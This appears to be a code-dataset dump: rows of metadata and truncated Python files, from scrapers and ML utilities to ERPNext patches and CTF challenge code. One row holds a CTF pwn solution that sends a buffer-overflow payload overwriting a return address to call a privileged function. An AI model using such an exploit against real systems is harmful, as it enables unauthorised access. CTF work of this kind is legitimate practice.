hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
6b86e0466972784aece51a425236d6e98522687a
1,214
py
Python
solutions/mols_search/mols-search-webserver/src/encoder/encode.py
naetimus/bootcamp
0182992df7c54012944b51fe9b70532ab6a0059b
[ "Apache-2.0" ]
1
2021-04-06T06:13:20.000Z
2021-04-06T06:13:20.000Z
solutions/mols_search/mols-search-webserver/src/encoder/encode.py
naetimus/bootcamp
0182992df7c54012944b51fe9b70532ab6a0059b
[ "Apache-2.0" ]
null
null
null
solutions/mols_search/mols-search-webserver/src/encoder/encode.py
naetimus/bootcamp
0182992df7c54012944b51fe9b70532ab6a0059b
[ "Apache-2.0" ]
1
2020-04-03T05:24:47.000Z
2020-04-03T05:24:47.000Z
import os import numpy as np from diskcache import Cache from rdkit import DataStructs from common.const import default_cache_dir from rdkit import Chem import math from rdkit.Chem import AllChem from common.config import VECTOR_DIMENSION def smiles_to_vec(smiles): mols = Chem.MolFromSmiles(smiles) fp = AllCh...
28.904762
98
0.622735
2b366973db4f70434b3bb3a57f91139455569fae
411
py
Python
pwn/RaRMony/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
pwn/RaRMony/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
pwn/RaRMony/solve.py
NoXLaw/RaRCTF2021-Challenges-Public
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
[ "MIT" ]
null
null
null
#!/usr/bin/python3 from pwn import * import re e = ELF("./src/harmony") if args.REMOTE: p = remote(args.HOST, int(args.PORT)) else: p = process(e.path) p.recv(timeout=1) p.sendline(b"3") p.recvuntil(b": ") pl = b"A"*32 + p64(e.sym["set_role"])[:3] p.sendline(pl) p.sendline(b"3") p.sendline(b"0") p.sendline(b...
18.681818
50
0.635036
5cb6a3b7c43c56edd46940321ddd352926cee025
484
py
Python
frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_fee_amount_to_fee_component.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:55:29.000Z
2021-04-29T14:55:29.000Z
frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_fee_amount_to_fee_component.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v7_0/rename_fee_amount_to_fee_component.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:39:01.000Z
2021-04-29T14:39:01.000Z
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe from frappe.model.utils.rename_field import rename_field def execute(): if frappe.db.exists("DocType", "Fee Amount"): frappe.renam...
30.25
71
0.741736
7a516502618cd48599c89b6565457c998e1e9406
737
py
Python
bot/gmaps.py
kopytjuk/uni-unterkunft
c81664e0070f97f45baa6eaff6a71039a267fd37
[ "MIT" ]
null
null
null
bot/gmaps.py
kopytjuk/uni-unterkunft
c81664e0070f97f45baa6eaff6a71039a267fd37
[ "MIT" ]
null
null
null
bot/gmaps.py
kopytjuk/uni-unterkunft
c81664e0070f97f45baa6eaff6a71039a267fd37
[ "MIT" ]
null
null
null
import os from datetime import datetime import googlemaps from flatdict import FlatDict import pandas as pd gmaps = googlemaps.Client(key=os.environ["GMAPS_API_KEY"]) def get_distances(origin, destinations, departure_time:datetime): result_dict = gmaps.distance_matrix(origin, destinations, mode=...
29.48
88
0.736771
7a81227046624372527c6f326a998a7b26002b38
6,496
py
Python
src/torch/contrib/npu/optimized_lib/function/nms.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
src/torch/contrib/npu/optimized_lib/function/nms.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
src/torch/contrib/npu/optimized_lib/function/nms.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
44.190476
119
0.648707
56f4b05471f0b737f2b633ed3d2336d775f8b3be
2,417
py
Python
crawler/spiders/cellphones_mobile.py
abel3t/web_crawler
c1eb570743299676489f279b5df1b8d18d94a782
[ "MIT" ]
2
2021-03-23T00:52:24.000Z
2021-09-07T03:42:40.000Z
crawler/spiders/cellphones_mobile.py
abel3t/web_crawler
c1eb570743299676489f279b5df1b8d18d94a782
[ "MIT" ]
null
null
null
crawler/spiders/cellphones_mobile.py
abel3t/web_crawler
c1eb570743299676489f279b5df1b8d18d94a782
[ "MIT" ]
null
null
null
import scrapy import os import re from datetime import date basedir = os.path.dirname(os.path.realpath('__file__')) class CellPhonesMobileSpider(scrapy.Spider): name = 'cellphones_mobile' base_url = 'https://cellphones.com.vn/mobile.html?p=%s' start_urls = [base_url % 1] download_delay = 5 def p...
36.074627
129
0.596607
7413b759a950950ff8cdad74aedab010ecfa5ff2
4,135
py
Python
mod/units/update.py
HeraldStudio/wechat
b023b7460a6b4284ea782333e13f24d169ddaff4
[ "MIT" ]
1
2015-06-28T15:26:52.000Z
2015-06-28T15:26:52.000Z
mod/units/update.py
HeraldStudio/wechat
b023b7460a6b4284ea782333e13f24d169ddaff4
[ "MIT" ]
null
null
null
mod/units/update.py
HeraldStudio/wechat
b023b7460a6b4284ea782333e13f24d169ddaff4
[ "MIT" ]
6
2015-03-20T16:36:22.000Z
2021-08-28T07:58:18.000Z
# -*- coding: utf-8 -*- # @Date : 2014-06-29 22:01:21 # @Author : xindervella@gamil.com yml_bright@163.com from tornado.httpclient import HTTPRequest, HTTPClient, HTTPError from sqlalchemy.orm.exc import NoResultFound from config import SERVICE, TIME_OUT, LOCAL from ..models.course import Course from ..mod...
38.287037
81
0.4948
74918040323b8c23c96f291fbc380875d76f2656
1,053
py
Python
pyLS/notes/imageDisplay.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
4
2017-06-20T19:56:22.000Z
2021-05-29T10:07:47.000Z
pyLS/notes/imageDisplay.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
11
2017-05-31T19:14:32.000Z
2018-09-12T23:44:11.000Z
pyLS/notes/imageDisplay.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
2
2017-06-20T17:14:38.000Z
2017-06-20T19:51:34.000Z
import numpy as np import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec imageData=plt.imread("../../data/linescan/example/green.tif") # load the 2D image data trace=np.average(imageData,axis=1) # average the image data across to create a linescan average plt.figure(figsize=(4,2)) # make a new figure ...
55.421053
105
0.755935
77927aaecc2e017a1aa5b365bd5cc43bc17ad6f7
22,720
py
Python
src/14106_Zoe (14106).py
En3rGy/14106_Zoe
9273fca7775a5b6fc9a2f9c5411957083352ce4c
[ "MIT" ]
1
2021-01-01T09:12:12.000Z
2021-01-01T09:12:12.000Z
src/14106_Zoe (14106).py
En3rGy/14106_Zoe
9273fca7775a5b6fc9a2f9c5411957083352ce4c
[ "MIT" ]
4
2020-12-23T23:04:09.000Z
2022-03-16T21:21:38.000Z
src/14106_Zoe (14106).py
En3rGy/14106_Zoe
9273fca7775a5b6fc9a2f9c5411957083352ce4c
[ "MIT" ]
null
null
null
# coding: UTF-8 import urllib import urllib2 import ssl import urlparse import threading from datetime import datetime import json ##!!!!################################################################################################## #### Own written code can be placed above this commentblock . Do not change or del...
43.193916
129
0.577333
24eb3bf4f7d8bb1bd37f878a9178c2cdc68fd433
70
py
Python
Curso-Em-Video-Python/1Materias/011-Cores/#011-Cores.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/1Materias/011-Cores/#011-Cores.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/1Materias/011-Cores/#011-Cores.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
a = 3 b = 5 print('Os valores são {} {} {} e {} {} {}!!'.format(a, b))
23.333333
58
0.428571
796a1c364ad364eb27feb0352073665587c4dd32
1,777
py
Python
Algorithms/Strings/RichieRich.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
Algorithms/Strings/RichieRich.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
Algorithms/Strings/RichieRich.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
#coding:utf-8 n, k = map(int, raw_input().split()) num = raw_input() if n == 1: if k: print 9 else: print num else: cha_set = set() is_possible = 1 half = n / 2 mid = num[half] if n%2 != 0 else '' left = list(num[:half]) right = list(num[-half:]) if k >= n: ...
27.765625
53
0.315138
0629affb5170e582f96c436a96f3c357ab4f55cf
2,294
py
Python
LINE/2021/pwn/atelier/client.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
LINE/2021/pwn/atelier/client.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
LINE/2021/pwn/atelier/client.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
#!/usr/bin/env python3 import sys import json import asyncio import importlib # from sqlalchemy import * class AtelierException: def __init__(self, e): self.message = repr(e) class MaterialRequest: pass class MaterialRequestReply: pass class RecipeCreateRequest: def __init__(self, material...
23.408163
101
0.644289
885507d14d35833417f72c6cef16fdd5153d0b6a
1,723
py
Python
research/cv/glore_res50/src/save_callback.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/glore_res50/src/save_callback.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/glore_res50/src/save_callback.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
39.159091
87
0.668601
11e27445bb4137836d32b18a52cba30bab97e80f
757
py
Python
Licence 1/I11/TP1/tp1_3.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 1/I11/TP1/tp1_3.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 1/I11/TP1/tp1_3.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
from math import * r = float(input("Rayon du cercle : ")) p = 2 * pi * r a = pi * (r ** 2) print("Perimetre = " + str(p) + ", Aire = " + str(a) + "\n") a = float(input("Longueur du premier cote : ")) b = float(input("Longueur du deuxieme cote : ")) c = float(input("Longueur du troisieme cote : ")) s = 0.5 * (a + b ...
22.264706
60
0.516513
11e768ad5b0c2b477f9157047ce9b2decbd7d33c
481
py
Python
string_manipulation/most_common_word.py
daesookimds/Algorithm
76f4cbfe9000e8c1736f470138499e7c735fecaa
[ "MIT" ]
null
null
null
string_manipulation/most_common_word.py
daesookimds/Algorithm
76f4cbfe9000e8c1736f470138499e7c735fecaa
[ "MIT" ]
null
null
null
string_manipulation/most_common_word.py
daesookimds/Algorithm
76f4cbfe9000e8c1736f470138499e7c735fecaa
[ "MIT" ]
null
null
null
import re import collections from typing import List def most_common_word(paragraph: str, banned: List[str]) -> str: words = [word for word in re.sub(r'[^\w]', ' ', paragraph).lower().split() if word not in banned] counts = collections.Counter(words) return counts.most_common(1)[0][0] def test_case(): ...
28.294118
101
0.679834
011134ab9d44268fc1095bf8412593efc6fbd7d3
1,814
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/tls/tls_check.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/tls/tls_check.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/tls/tls_check.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2009-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.ec...
36.28
85
0.710033
0994f59eb657c880715c86d7884f063d137b1035
1,425
py
Python
listings/chapter10/linear-regression-sklearn.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
6
2021-08-04T19:42:53.000Z
2022-01-17T14:24:45.000Z
listings/chapter10/linear-regression-sklearn.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
1
2021-08-30T06:32:08.000Z
2021-08-30T06:42:46.000Z
listings/chapter10/linear-regression-sklearn.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
1
2022-02-17T10:32:17.000Z
2022-02-17T10:32:17.000Z
import matplotlib.pyplot as plt import csv import numpy as np from sklearn.linear_model import LinearRegression from sys import argv, exit if len(argv) < 2: print(f"Verwendung: python3 {argv[0]} CSV-Datei [p]") exit(1) # Daten importieren filename = argv[1] data = [] data_file = open(filename, 'r') reader = c...
27.941176
66
0.623158
09967d452934ba77acf15f8334964497fe5dc27d
404
py
Python
books/PythonAutomate/file_organize/reading_zip_files.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/file_organize/reading_zip_files.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/file_organize/reading_zip_files.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
import os import zipfile from pathlib import Path p = Path(".") example_zip = zipfile.ZipFile(p / "example.zip") print(example_zip.namelist()) spam_info = example_zip.getinfo("spam.txt") print(f'File Size: {spam_info.file_size}') print(f'Compress Size: {spam_info.compress_size}') print( f"Compressed...
23.764706
94
0.715347
fec9254cedbc1f32e09c13f7c6fa24ff5b817ebb
85
py
Python
Webpage/utils/apps.py
ASV-Aachen/Website
bbfc02d71dde67fdf89a4b819b795a73435da7cf
[ "Apache-2.0" ]
null
null
null
Webpage/utils/apps.py
ASV-Aachen/Website
bbfc02d71dde67fdf89a4b819b795a73435da7cf
[ "Apache-2.0" ]
46
2022-01-08T12:03:24.000Z
2022-03-30T08:51:05.000Z
Webpage/utils/apps.py
ASV-Aachen/Website
bbfc02d71dde67fdf89a4b819b795a73435da7cf
[ "Apache-2.0" ]
null
null
null
from django.apps import AppConfig class utilsConfig(AppConfig): name = 'utils'
14.166667
33
0.741176
28d41900089f8762de402eb24e1490da46f0d20b
1,757
py
Python
app.py
HerbLee/sanicweb
f5177ca715ed704ebceffdd59710406b2659c514
[ "Apache-2.0" ]
null
null
null
app.py
HerbLee/sanicweb
f5177ca715ed704ebceffdd59710406b2659c514
[ "Apache-2.0" ]
null
null
null
app.py
HerbLee/sanicweb
f5177ca715ed704ebceffdd59710406b2659c514
[ "Apache-2.0" ]
null
null
null
# @time : 2020/7/12 16:12 # @author : HerbLee # @file : app.py from sanic import Sanic from jinja2 import Environment, PackageLoader, select_autoescape from tortoise.contrib.sanic import register_tortoise from util.config_utils import get_mysql_data, init from sanic import response from api import api from ...
25.463768
129
0.53045
28fbf764dead8aaa4abb79086ada68621a10b8ff
135
py
Python
Project Euler Qusetions 41 - 50/Project Euler Question 48.py
Clayton-Threm/Coding-Practice
6671e8a15f9e797338caa617dae45093f4157bc1
[ "MIT" ]
1
2020-02-11T02:03:02.000Z
2020-02-11T02:03:02.000Z
Project Euler Qusetions 41 - 50/Project Euler Question 48.py
Clayton-Threm/Coding-Practice
6671e8a15f9e797338caa617dae45093f4157bc1
[ "MIT" ]
null
null
null
Project Euler Qusetions 41 - 50/Project Euler Question 48.py
Clayton-Threm/Coding-Practice
6671e8a15f9e797338caa617dae45093f4157bc1
[ "MIT" ]
null
null
null
#Project Euler Question 48 #Self powers result = 0 for x in range(1,(1000 + 1)): result += (x**x) print (int(str(result)[-10::]))
16.875
31
0.614815
3aab52c72eea0f7460193de093e94088ae9142aa
9,274
py
Python
rbac/common/protobuf/task_transaction_pb2.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
null
null
null
rbac/common/protobuf/task_transaction_pb2.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
1
2018-09-10T19:12:31.000Z
2018-09-10T19:12:31.000Z
rbac/common/protobuf/task_transaction_pb2.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
null
null
null
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: task_transaction.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection ...
39.974138
699
0.735497
42effe81ca3019652e1d98700adbc7babb9bb55b
4,725
py
Python
2019/quals/web-pastetastic/app/main.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
2,757
2018-04-28T21:41:36.000Z
2022-03-29T06:33:36.000Z
2019/quals/web-pastetastic/app/main.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
20
2019-07-23T15:29:32.000Z
2022-01-21T12:53:04.000Z
2019/quals/web-pastetastic/app/main.py
iicarus-bit/google-ctf
4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b
[ "Apache-2.0" ]
449
2018-05-09T05:54:05.000Z
2022-03-30T14:54:18.000Z
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
29.166667
124
0.686349
6e1d41585f4f085a5ee78b18db6a75a82d82df87
6,411
py
Python
EveryoneCounts.py
socialdistancingdashboard/frontend
aa102c20af09f18aea601573940e1fb8b94041a3
[ "Apache-2.0" ]
4
2020-03-31T09:05:26.000Z
2020-10-08T10:39:53.000Z
EveryoneCounts.py
socialdistancingdashboard/frontend
aa102c20af09f18aea601573940e1fb8b94041a3
[ "Apache-2.0" ]
null
null
null
EveryoneCounts.py
socialdistancingdashboard/frontend
aa102c20af09f18aea601573940e1fb8b94041a3
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import streamlit as st from pages import dashboard # MAIN MENU HTML (this needs to be the first markdown block for the css to work!) st.markdown(''' <a id="top"></a> <div id="nav-container"> <div id="logo"> <img src="https://blog.everyonecounts.de/wp-content/uploads/2020/04/logo_wi...
23.832714
222
0.630635
2839904a5ab546928b4ff05d6f0411cb52db7ff1
676
py
Python
listings/chapter08/gcd.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
6
2021-08-04T19:42:53.000Z
2022-01-17T14:24:45.000Z
listings/chapter08/gcd.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
1
2021-08-30T06:32:08.000Z
2021-08-30T06:42:46.000Z
listings/chapter08/gcd.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
1
2022-02-17T10:32:17.000Z
2022-02-17T10:32:17.000Z
from sys import argv def gcd(m, n): # Trivialer Fall: m und n gleich if m == n: return m # Größeren und kleieren Wert ermitteln smaller = m if m < n else n greater = m if m > n else n # Minimum aus smaller und greater // 2 max_divisor = greater // 2 if greater // 2 < smaller else sm...
28.166667
69
0.573964
28a1ce8407c650e185578c2326f74a0e17a72edc
5,055
py
Python
sim/lib/settings/calibration_settings.py
j-groeneveld/covid
a8d993c866dcd56bf1c5f6f0a2120eae883aa029
[ "MIT" ]
null
null
null
sim/lib/settings/calibration_settings.py
j-groeneveld/covid
a8d993c866dcd56bf1c5f6f0a2120eae883aa029
[ "MIT" ]
null
null
null
sim/lib/settings/calibration_settings.py
j-groeneveld/covid
a8d993c866dcd56bf1c5f6f0a2120eae883aa029
[ "MIT" ]
1
2021-07-28T13:52:58.000Z
2021-07-28T13:52:58.000Z
import multiprocessing ''' Default settings for model calibration ''' TO_HOURS = 24.0 settings_data = { 'verbose' : True, 'use_households' : True, 'data_start_date': '2020-03-10', } settings_simulation = { 'n_init_samples': 20, # initial random evaluations 'n_iterations': 500, # iterations of B...
27.177419
83
0.497725
95397b7164b608a94eb7df08c64f5907a4160c34
961
py
Python
21-fs-ias-lec/03-BACnetCore/src/core/storage/filters.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
21-fs-ias-lec/03-BACnetCore/src/core/storage/filters.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
21-fs-ias-lec/03-BACnetCore/src/core/storage/filters.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
from ..interface.event import Event """ This file consists of filters that can be used to filter and search for results on database level. This should give a performance advantage compared to when you first get all results and filter afterwards. These filters are standard versions used by the database handler, users ...
36.961538
117
0.790843
959d408d622d869e12d6964565228200c197a506
2,143
py
Python
Python X/Classes and objects with Python .py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
Python X/Classes and objects with Python .py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
Python X/Classes and objects with Python .py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
{ "cells": [ { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "# we're going to create a class (robot) with three atributes: name, colour and weight and it will \n", "# have one function called: introduce yourself which says \"my name is x\"\n", "\n",...
22.797872
107
0.4937
6c0ce30d45e70252ca7ac9dc7521ef0a9d980ebc
3,689
py
Python
Liter_Server/initDB.py
Drelf2018/Liter
e12ffdd22ee7b2724722c38e852fc9c1b2f180ad
[ "MIT" ]
null
null
null
Liter_Server/initDB.py
Drelf2018/Liter
e12ffdd22ee7b2724722c38e852fc9c1b2f180ad
[ "MIT" ]
null
null
null
Liter_Server/initDB.py
Drelf2018/Liter
e12ffdd22ee7b2724722c38e852fc9c1b2f180ad
[ "MIT" ]
null
null
null
import sqlite3 import time import os def Unew(username: str, password: str, mail: str): c.execute("INSERT INTO USER (USERNAME,NICKNAME,PASSWORD,REGTIME,MAIL) VALUES (?,?,?,?,?);", (username, username, password, time.strftime(r'%Y/%m/%d %H:%M', time.localtime()), mail)) conn.commit() return c...
32.9375
142
0.603144
66f06e46f04ff9ed54ca8bee258f80ee3de070a2
5,626
py
Python
kollektiv5gui/tests/test_ea_generator.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
3
2019-03-21T17:02:55.000Z
2019-04-04T18:16:10.000Z
kollektiv5gui/tests/test_ea_generator.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
11
2019-10-30T12:05:39.000Z
2022-03-11T23:43:54.000Z
kollektiv5gui/tests/test_ea_generator.py
MateRyze/InformatiCup-2019
eeca3ff7f8a102f4093697c6badee21ce25e2e87
[ "MIT" ]
1
2019-10-30T12:04:00.000Z
2019-10-30T12:04:00.000Z
from kollektiv5gui.generators.EAGenerator import EAGenerator import unittest class Test_EA(unittest.TestCase): def setUp(self): self.generator = EAGenerator(True) self.generator.population.clear() self.generator.api_calls = 0 def test_init_population(self): self.assertEqual(l...
40.768116
84
0.565766
dd155d75c13f546675bb62abf21dea36d6f95588
912
py
Python
py-basics/src/lectures/classes/point.py
NadimBhatti05/s4f
41d3525bc286ee0b6e727c601f036a96b3c2fb2c
[ "CC0-1.0" ]
null
null
null
py-basics/src/lectures/classes/point.py
NadimBhatti05/s4f
41d3525bc286ee0b6e727c601f036a96b3c2fb2c
[ "CC0-1.0" ]
null
null
null
py-basics/src/lectures/classes/point.py
NadimBhatti05/s4f
41d3525bc286ee0b6e727c601f036a96b3c2fb2c
[ "CC0-1.0" ]
4
2021-12-13T15:52:00.000Z
2022-03-28T13:54:53.000Z
class Point: def __init__(self, x, y) -> None: self.x = x self.y = y def draw(self): print(f"Point ({self.x}, {self.y})") @classmethod def zero(cls): return cls(0, 0) # https://rszalski.github.io/magicmethods/ def __str__(self) -> str: return f"Point ({...
23.384615
56
0.58114
dd7ab626321ca252041058b2eca5150b7f1e999e
448
py
Python
Python/itertools.combinations_with_replacement().py
paurav11/HackerRank
80c91c5cc55dd56671a5906be7a106ad4f1db95e
[ "MIT" ]
1
2021-05-19T06:44:03.000Z
2021-05-19T06:44:03.000Z
Python/itertools.combinations_with_replacement().py
paurav11/HackerRank
80c91c5cc55dd56671a5906be7a106ad4f1db95e
[ "MIT" ]
null
null
null
Python/itertools.combinations_with_replacement().py
paurav11/HackerRank
80c91c5cc55dd56671a5906be7a106ad4f1db95e
[ "MIT" ]
null
null
null
from itertools import combinations_with_replacement if __name__ == '__main__': input_string = input().strip().split() if input_string[0].isupper() and (int(input_string[1]) > 0 and int(input_string[1]) <= len(input_string[0])): combinations_list = sorted(list(combinations_with_replacement(sorted(in...
49.777778
122
0.683036
06ba4a7b658c4631fa38ba0bdb0b3bdf84c3197d
483
py
Python
py_restart_merge.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
py_restart_merge.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
py_restart_merge.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
#!/usr/bin/python import sys import os import time def replace_in_file(old_str, new_str): file_name = 'ini/config/xdr_build.xml' str = open(file_name, 'r').read().replace(old_str, new_str) open(file_name, 'w').write(str) def run_with_thread(i): replace_in_file('<!--lg', '') n = i+10 ...
